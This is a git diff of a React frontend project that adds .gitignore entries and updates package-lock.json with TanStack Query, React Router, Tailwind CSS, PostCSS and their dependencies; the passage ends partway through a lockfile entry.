diff --git a/.gitignore b/.gitignore
index 5f10a8c..02f3edf 100644
--- a/.gitignore
+++ b/.gitignore
@@ -2,4 +2,7 @@
 .env
 PLAN.md
 issues/
-.DS_Store
\ No newline at end of file
+.DS_Store
+branch_structure.json
+temp_auto_push.bat
+temp_interactive_push.bat
diff --git a/frontend/package-lock.json b/frontend/package-lock.json
index b8f7b94..4b3c24a 100644
--- a/frontend/package-lock.json
+++ b/frontend/package-lock.json
@@ -8,8 +8,10 @@
       "name": "frontend",
       "version": "0.0.0",
       "dependencies": {
+        "@tanstack/react-query": "^5.100.5",
         "react": "^19.2.0",
-        "react-dom": "^19.2.0"
+        "react-dom": "^19.2.0",
+        "react-router-dom": "^7.14.2"
       },
       "devDependencies": {
         "@eslint/js": "^9.39.1",
@@ -17,15 +19,31 @@
         "@types/react": "^19.2.7",
         "@types/react-dom": "^19.2.3",
         "@vitejs/plugin-react-swc": "^4.2.2",
+        "autoprefixer": "^10.5.0",
         "eslint": "^9.39.1",
         "eslint-plugin-react-hooks": "^7.0.1",
         "eslint-plugin-react-refresh": "^0.4.24",
         "globals": "^16.5.0",
+        "postcss": "^8.5.12",
+        "tailwindcss": "^3.4.19",
         "typescript": "~5.9.3",
         "typescript-eslint": "^8.48.0",
         "vite": "^7.3.1"
       }
     },
+    "node_modules/@alloc/quick-lru": {
+      "version": "5.2.0",
+      "resolved": "https://registry.npmjs.org/@alloc/quick-lru/-/quick-lru-5.2.0.tgz",
+      "integrity": "sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
     "node_modules/@babel/code-frame": {
       "version": "7.29.0",
       "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.29.0.tgz",
@@ -57,7 +75,6 @@
       "integrity": "sha512-CGOfOJqWjg2qW/Mb6zNsDm+u5vFQ8DxXfbM09z69p5Z6+mE1ikP2jUXw+j42Pf1XTYED2Rni5f95npYeuwMDQA==",
       "dev": true,
       "license": "MIT",
-      "peer": true,
       "dependencies": {
         "@babel/code-frame": "^7.29.0",
         "@babel/generator": "^7.29.0",
@@ -968,6 +985,44 @@
         "@jridgewell/sourcemap-codec": "^1.4.14"
       }
     },
+    "node_modules/@nodelib/fs.scandir": {
+      "version": "2.1.5",
+      "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz",
+      "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@nodelib/fs.stat": "2.0.5",
+        "run-parallel": "^1.1.9"
+      },
+      "engines": {
+        "node": ">= 8"
+      }
+    },
+    "node_modules/@nodelib/fs.stat": {
+      "version": "2.0.5",
+      "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz",
+      "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">= 8"
+      }
+    },
+    "node_modules/@nodelib/fs.walk": {
+      "version": "1.2.8",
+      "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz",
+      "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@nodelib/fs.scandir": "2.1.5",
+        "fastq": "^1.6.0"
+      },
+      "engines": {
+        "node": ">= 8"
+      }
+    },
     "node_modules/@rolldown/pluginutils": {
       "version": "1.0.0-rc.7",
       "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.0-rc.7.tgz",
@@ -1587,6 +1642,32 @@
         "@swc/counter": "^0.1.3"
       }
     },
+    "node_modules/@tanstack/query-core": {
+      "version": "5.100.5",
+      "resolved": "https://registry.npmjs.org/@tanstack/query-core/-/query-core-5.100.5.tgz",
+      "integrity": "sha512-t20KrhKkf0HXzqQkPbJ5erhFesup68BAbwFgYmTrS7bxMF7O5MdmL8jUkik4thsG7Hg00fblz30h6yF1d5TxGg==",
+      "license": "MIT",
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/tannerlinsley"
+      }
+    },
+    "node_modules/@tanstack/react-query": {
+      "version": "5.100.5",
+      "resolved": "https://registry.npmjs.org/@tanstack/react-query/-/react-query-5.100.5.tgz",
+      "integrity": "sha512-aNwj1mi2v2bQ9IxkyR1grLOUkv3BYWoykHy9KDyLNbjC3tsahbOHJibK+Wjtr1wRhG59/AvJhiJG5OlthaCgJA==",
+      "license": "MIT",
+      "dependencies": {
+        "@tanstack/query-core": "5.100.5"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/tannerlinsley"
+      },
+      "peerDependencies": {
+        "react": "^18 || ^19"
+      }
+    },
     "node_modules/@types/estree": {
       "version": "1.0.8",
       "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.8.tgz",
@@ -1607,7 +1688,6 @@
       "integrity": "sha512-A1sre26ke7HDIuY/M23nd9gfB+nrmhtYyMINbjI1zHJxYteKR6qSMX56FsmjMcDb3SMcjJg5BiRRgOCC/yBD0g==",
       "dev": true,
       "license": "MIT",
-      "peer": true,
       "dependencies": {
         "undici-types": "~7.16.0"
       }
@@ -1618,7 +1698,6 @@
       "integrity": "sha512-ilcTH/UniCkMdtexkoCN0bI7pMcJDvmQFPvuPvmEaYA/NSfFTAgdUSLAoVjaRJm7+6PvcM+q1zYOwS4wTYMF9w==",
       "dev": true,
       "license": "MIT",
-      "peer": true,
       "dependencies": {
         "csstype": "^3.2.2"
       }
@@ -1678,7 +1757,6 @@
       "integrity": "sha512-/Zb/xaIDfxeJnvishjGdcR4jmr7S+bda8PKNhRGdljDM+elXhlvN0FyPSsMnLmJUrVG9aPO6dof80wjMawsASg==",
       "dev": true,
       "license": "MIT",
-      "peer": true,
       "dependencies": {
         "@typescript-eslint/scope-manager": "8.58.2",
         "@typescript-eslint/types": "8.58.2",
@@ -1952,7 +2030,6 @@
       "integrity": "sha512-UVJyE9MttOsBQIDKw1skb9nAwQuR5wuGD3+82K6JgJlm/Y+KI92oNsMNGZCYdDsVtRHSak0pcV5Dno5+4jh9sw==",
       "dev": true,
       "license": "MIT",
-      "peer": true,
       "bin": {
         "acorn": "bin/acorn"
       },
@@ -2003,6 +2080,47 @@
         "url": "https://github.com/chalk/ansi-styles?sponsor=1"
       }
     },
+    "node_modules/any-promise": {
+      "version": "1.3.0",
+      "resolved": "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz",
+      "integrity": "sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/anymatch": {
+      "version": "3.1.3",
+      "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz",
+      "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==",
+      "dev": true,
+      "license": "ISC",
+      "dependencies": {
+        "normalize-path": "^3.0.0",
+        "picomatch": "^2.0.4"
+      },
+      "engines": {
+        "node": ">= 8"
+      }
+    },
+    "node_modules/anymatch/node_modules/picomatch": {
+      "version": "2.3.2",
+      "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz",
+      "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=8.6"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/jonschlinkert"
+      }
+    },
+    "node_modules/arg": {
+      "version": "5.0.2",
+      "resolved": "https://registry.npmjs.org/arg/-/arg-5.0.2.tgz",
+      "integrity": "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==",
+      "dev": true,
+      "license": "MIT"
+    },
     "node_modules/argparse": {
       "version": "2.0.1",
       "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz",
@@ -2010,6 +2128,43 @@
       "dev": true,
       "license": "Python-2.0"
     },
+    "node_modules/autoprefixer": {
+      "version": "10.5.0",
+      "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.5.0.tgz",
+      "integrity": "sha512-FMhOoZV4+qR6aTUALKX2rEqGG+oyATvwBt9IIzVR5rMa2HRWPkxf+P+PAJLD1I/H5/II+HuZcBJYEFBpq39ong==",
+      "dev": true,
+      "funding": [
+        {
+          "type": "opencollective",
+          "url": "https://opencollective.com/postcss/"
+        },
+        {
+          "type": "tidelift",
+          "url": "https://tidelift.com/funding/github/npm/autoprefixer"
+        },
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/ai"
+        }
+      ],
+      "license": "MIT",
+      "dependencies": {
+        "browserslist": "^4.28.2",
+        "caniuse-lite": "^1.0.30001787",
+        "fraction.js": "^5.3.4",
+        "picocolors": "^1.1.1",
+        "postcss-value-parser": "^4.2.0"
+      },
+      "bin": {
+        "autoprefixer": "bin/autoprefixer"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14"
+      },
+      "peerDependencies": {
+        "postcss": "^8.1.0"
+      }
+    },
     "node_modules/balanced-match": {
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
@@ -2030,6 +2185,19 @@
         "node": ">=6.0.0"
       }
     },
+    "node_modules/binary-extensions": {
+      "version": "2.3.0",
+      "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.3.0.tgz",
+      "integrity": "sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
     "node_modules/brace-expansion": {
       "version": "1.1.14",
       "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.14.tgz",
@@ -2041,6 +2209,19 @@
         "concat-map": "0.0.1"
       }
     },
+    "node_modules/braces": {
+      "version": "3.0.3",
+      "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz",
+      "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "fill-range": "^7.1.1"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
     "node_modules/browserslist": {
       "version": "4.28.2",
       "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.28.2.tgz",
@@ -2061,7 +2242,6 @@
         }
       ],
       "license": "MIT",
-      "peer": true,
       "dependencies": {
         "baseline-browser-mapping": "^2.10.12",
         "caniuse-lite": "^1.0.30001782",
@@ -2086,6 +2266,16 @@
         "node": ">=6"
       }
     },
+    "node_modules/camelcase-css": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/camelcase-css/-/camelcase-css-2.0.1.tgz",
+      "integrity": "sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">= 6"
+      }
+    },
     "node_modules/caniuse-lite": {
       "version": "1.0.30001788",
       "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001788.tgz",
@@ -2124,6 +2314,44 @@
         "url": "https://github.com/chalk/chalk?sponsor=1"
       }
     },
+    "node_modules/chokidar": {
+      "version": "3.6.0",
+      "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.6.0.tgz",
+      "integrity": "sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "anymatch": "~3.1.2",
+        "braces": "~3.0.2",
+        "glob-parent": "~5.1.2",
+        "is-binary-path": "~2.1.0",
+        "is-glob": "~4.0.1",
+        "normalize-path": "~3.0.0",
+        "readdirp": "~3.6.0"
+      },
+      "engines": {
+        "node": ">= 8.10.0"
+      },
+      "funding": {
+        "url": "https://paulmillr.com/funding/"
+      },
+      "optionalDependencies": {
+        "fsevents": "~2.3.2"
+      }
+    },
+    "node_modules/chokidar/node_modules/glob-parent": {
+      "version": "5.1.2",
+      "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",
+      "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==",
+      "dev": true,
+      "license": "ISC",
+      "dependencies": {
+        "is-glob": "^4.0.1"
+      },
+      "engines": {
+        "node": ">= 6"
+      }
+    },
     "node_modules/color-convert": {
       "version": "2.0.1",
       "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
@@ -2144,6 +2372,16 @@
       "dev": true,
       "license": "MIT"
     },
+    "node_modules/commander": {
+      "version": "4.1.1",
+      "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz",
+      "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">= 6"
+      }
+    },
     "node_modules/concat-map": {
       "version": "0.0.1",
       "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz",
@@ -2158,6 +2396,19 @@
       "dev": true,
       "license": "MIT"
     },
+    "node_modules/cookie": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/cookie/-/cookie-1.1.1.tgz",
+      "integrity": "sha512-ei8Aos7ja0weRpFzJnEA9UHJ/7XQmqglbRwnf2ATjcB9Wq874VKH9kfjjirM6UhU2/E5fFYadylyhFldcqSidQ==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=18"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/express"
+      }
+    },
     "node_modules/cross-spawn": {
       "version": "7.0.6",
       "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz",
@@ -2173,6 +2424,19 @@
         "node": ">= 8"
       }
     },
+    "node_modules/cssesc": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz",
+      "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==",
+      "dev": true,
+      "license": "MIT",
+      "bin": {
+        "cssesc": "bin/cssesc"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
     "node_modules/csstype": {
       "version": "3.2.3",
       "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz",
@@ -2205,6 +2469,20 @@
       "dev": true,
       "license": "MIT"
     },
+    "node_modules/didyoumean": {
+      "version": "1.2.2",
+      "resolved": "https://registry.npmjs.org/didyoumean/-/didyoumean-1.2.2.tgz",
+      "integrity": "sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw==",
+      "dev": true,
+      "license": "Apache-2.0"
+    },
+    "node_modules/dlv": {
+      "version": "1.1.3",
+      "resolved": "https://registry.npmjs.org/dlv/-/dlv-1.1.3.tgz",
+      "integrity": "sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA==",
+      "dev": true,
+      "license": "MIT"
+    },
     "node_modules/electron-to-chromium": {
       "version": "1.5.338",
       "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.338.tgz",
@@ -2212,6 +2490,16 @@
       "dev": true,
       "license": "ISC"
     },
+    "node_modules/es-errors": {
+      "version": "1.3.0",
+      "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz",
+      "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
     "node_modules/esbuild": {
       "version": "0.27.7",
       "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.27.7.tgz",
@@ -2283,7 +2571,6 @@
       "integrity": "sha512-XoMjdBOwe/esVgEvLmNsD3IRHkm7fbKIUGvrleloJXUZgDHig2IPWNniv+GwjyJXzuNqVjlr5+4yVUZjycJwfQ==",
       "dev": true,
       "license": "MIT",
-      "peer": true,
       "dependencies": {
         "@eslint-community/eslint-utils": "^4.8.0",
         "@eslint-community/regexpp": "^4.12.1",
@@ -2469,6 +2756,36 @@
       "dev": true,
       "license": "MIT"
     },
+    "node_modules/fast-glob": {
+      "version": "3.3.3",
+      "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.3.tgz",
+      "integrity": "sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@nodelib/fs.stat": "^2.0.2",
+        "@nodelib/fs.walk": "^1.2.3",
+        "glob-parent": "^5.1.2",
+        "merge2": "^1.3.0",
+        "micromatch": "^4.0.8"
+      },
+      "engines": {
+        "node": ">=8.6.0"
+      }
+    },
+    "node_modules/fast-glob/node_modules/glob-parent": {
+      "version": "5.1.2",
+      "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",
+      "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==",
+      "dev": true,
+      "license": "ISC",
+      "dependencies": {
+        "is-glob": "^4.0.1"
+      },
+      "engines": {
+        "node": ">= 6"
+      }
+    },
     "node_modules/fast-json-stable-stringify": {
       "version": "2.1.0",
       "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz",
@@ -2483,6 +2800,16 @@
       "dev": true,
       "license": "MIT"
     },
+    "node_modules/fastq": {
+      "version": "1.20.1",
+      "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.20.1.tgz",
+      "integrity": "sha512-GGToxJ/w1x32s/D2EKND7kTil4n8OVk/9mycTc4VDza13lOvpUZTGX3mFSCtV9ksdGBVzvsyAVLM6mHFThxXxw==",
+      "dev": true,
+      "license": "ISC",
+      "dependencies": {
+        "reusify": "^1.0.4"
+      }
+    },
     "node_modules/fdir": {
       "version": "6.5.0",
       "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz",
@@ -2514,6 +2841,19 @@
         "node": ">=16.0.0"
       }
     },
+    "node_modules/fill-range": {
+      "version": "7.1.1",
+      "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz",
+      "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "to-regex-range": "^5.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
     "node_modules/find-up": {
       "version": "5.0.0",
       "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz",
@@ -2552,6 +2892,20 @@
       "dev": true,
       "license": "ISC"
     },
+    "node_modules/fraction.js": {
+      "version": "5.3.4",
+      "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-5.3.4.tgz",
+      "integrity": "sha512-1X1NTtiJphryn/uLQz3whtY6jK3fTqoE3ohKs0tT+Ujr1W59oopxmoEh7Lu5p6vBaPbgoM0bzveAW4Qi5RyWDQ==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": "*"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/rawify"
+      }
+    },
     "node_modules/fsevents": {
       "version": "2.3.3",
       "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz",
@@ -2567,6 +2921,16 @@
         "node": "^8.16.0 || ^10.6.0 || >=11.0.0"
       }
     },
+    "node_modules/function-bind": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz",
+      "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==",
+      "dev": true,
+      "license": "MIT",
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
     "node_modules/gensync": {
       "version": "1.0.0-beta.2",
       "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz",
@@ -2613,6 +2977,19 @@
         "node": ">=8"
       }
     },
+    "node_modules/hasown": {
+      "version": "2.0.3",
+      "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.3.tgz",
+      "integrity": "sha512-ej4AhfhfL2Q2zpMmLo7U1Uv9+PyhIZpgQLGT1F9miIGmiCJIoCgSmczFdrc97mWT4kVY72KA+WnnhJ5pghSvSg==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "function-bind": "^1.1.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
     "node_modules/hermes-estree": {
       "version": "0.25.1",
       "resolved": "https://registry.npmjs.org/hermes-estree/-/hermes-estree-0.25.1.tgz",
@@ -2667,6 +3044,35 @@
         "node": ">=0.8.19"
       }
     },
+    "node_modules/is-binary-path": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz",
+      "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "binary-extensions": "^2.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/is-core-module": {
+      "version": "2.16.1",
+      "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.16.1.tgz",
+      "integrity": "sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "hasown": "^2.0.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
     "node_modules/is-extglob": {
       "version": "2.1.1",
       "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz",
@@ -2690,6 +3096,16 @@
         "node": ">=0.10.0"
       }
     },
+    "node_modules/is-number": {
+      "version": "7.0.0",
+      "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
+      "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=0.12.0"
+      }
+    },
     "node_modules/isexe": {
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
@@ -2697,6 +3113,16 @@
       "dev": true,
       "license": "ISC"
     },
+    "node_modules/jiti": {
+      "version": "1.21.7",
+      "resolved": "https://registry.npmjs.org/jiti/-/jiti-1.21.7.tgz",
+      "integrity": "sha512-/imKNG4EbWNrVjoNC/1H5/9GFy+tqjGBHCaSsN+P2RnPqjsLmv6UD3Ej+Kj8nBWaRAwyk7kK5ZUc+OEatnTR3A==",
+      "dev": true,
+      "license": "MIT",
+      "bin": {
+        "jiti": "bin/jiti.js"
+      }
+    },
     "node_modules/js-tokens": {
       "version": "4.0.0",
       "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz",
@@ -2788,15 +3214,35 @@
         "node": ">= 0.8.0"
       }
     },
-    "node_modules/locate-path": {
-      "version": "6.0.0",
-      "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz",
-      "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==",
+    "node_modules/lilconfig": {
+      "version": "3.1.3",
+      "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-3.1.3.tgz",
+      "integrity": "sha512-/vlFKAoH5Cgt3Ie+JLhRbwOsCQePABiU3tJ1egGvyQ+33R/vcwM2Zl2QR/LzjsBeItPt3oSVXapn+m4nQDvpzw==",
       "dev": true,
       "license": "MIT",
-      "dependencies": {
-        "p-locate": "^5.0.0"
-      },
+      "engines": {
+        "node": ">=14"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/antonk52"
+      }
+    },
+    "node_modules/lines-and-columns": {
+      "version": "1.2.4",
+      "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz",
+      "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/locate-path": {
+      "version": "6.0.0",
+      "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz",
+      "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "p-locate": "^5.0.0"
+      },
       "engines": {
         "node": ">=10"
       },
@@ -2821,6 +3267,43 @@
         "yallist": "^3.0.2"
       }
     },
+    "node_modules/merge2": {
+      "version": "1.4.1",
+      "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz",
+      "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">= 8"
+      }
+    },
+    "node_modules/micromatch": {
+      "version": "4.0.8",
+      "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz",
+      "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "braces": "^3.0.3",
+        "picomatch": "^2.3.1"
+      },
+      "engines": {
+        "node": ">=8.6"
+      }
+    },
+    "node_modules/micromatch/node_modules/picomatch": {
+      "version": "2.3.2",
+      "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz",
+      "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=8.6"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/jonschlinkert"
+      }
+    },
     "node_modules/minimatch": {
       "version": "3.1.5",
       "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz",
@@ -2841,6 +3324,18 @@
       "dev": true,
       "license": "MIT"
     },
+    "node_modules/mz": {
+      "version": "2.7.0",
+      "resolved": "https://registry.npmjs.org/mz/-/mz-2.7.0.tgz",
+      "integrity": "sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "any-promise": "^1.0.0",
+        "object-assign": "^4.0.1",
